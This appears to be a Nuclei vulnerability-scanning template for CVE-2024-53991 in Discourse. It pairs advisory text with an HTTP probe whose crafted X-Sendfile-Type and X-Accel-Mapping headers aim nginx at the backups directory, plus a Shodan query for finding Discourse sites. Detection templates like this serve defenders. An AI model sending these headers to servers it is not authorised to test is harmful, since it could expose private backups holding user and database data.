Discourse is an open source platform for community discussion. This vulnerability only impacts Discourse instances configured to use `FileStore--LocalStore` which means uploads and backups are stored locally on disk. If an attacker knows the name of the Discourse backup file, the attacker can trick nginx into sending the Discourse backup file with a well crafted request.
PoC
id: CVE-2024-53991
info:
name: Discourse Backup File Disclosure Via Default Nginx Configuration
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
Discourse is an open source platform for community discussion. This vulnerability only impacts Discourse instances configured to use `FileStore--LocalStore` which means uploads and backups are stored locally on disk. If an attacker knows the name of the Discourse backup file, the attacker can trick nginx into sending the Discourse backup file with a well crafted request.
impact: |
Attackers who know the backup file name can bypass nginx access controls to download complete Discourse backup files containing sensitive data, user information, and database contents.
remediation: |
Update to the latest stable, beta or tests-passed version of Discourse. Alternatively, store backups on S3 or disable backups temporarily until the fix is applied.
reference:
- https://projectdiscovery.io/blog/discourse-backup-disclosure-rails-send_file-quirk/
- https://github.com/discourse/discourse/security/advisories/GHSA-567m-82f6-56rv
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-53991
cwe-id: CWE-200
epss-score: 0.26788
epss-percentile: 0.97985
metadata:
shodan-query: http.component:"Discourse"
tags: cve,cve2024,discourse,disclosure,vuln
http:
- method: GET
path:
- "{{BaseURL}}/"
extractors:
- type: regex
part: body
name: styles
group: 1
regex:
- 'href="(/stylesheets/discourse-.*?)"'
internal: true
- raw:
- |
GET {{styles}}&cachebuster={{randstr}} HTTP/1.1
Host: {{Hostname}}
X-Sendfile-Type: X-Accel-Redirect
X-Accel-Mapping: .*=/downloads/backups/default/
matchers:
- type: dsl
dsl:
- 'status_code == 403'
- 'contains(content_type, "text/html")'
- 'contains(response, "discourse")'
condition: and
# digest: 490a0046304402204644824e97570fe69b2c55ecce143edb25fa43029574406ab7ebd4837b94e29002207450d226b87fe7469bb22d7c19b007ab7cbfdec3d6e4028403433a6d3dc935eb:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.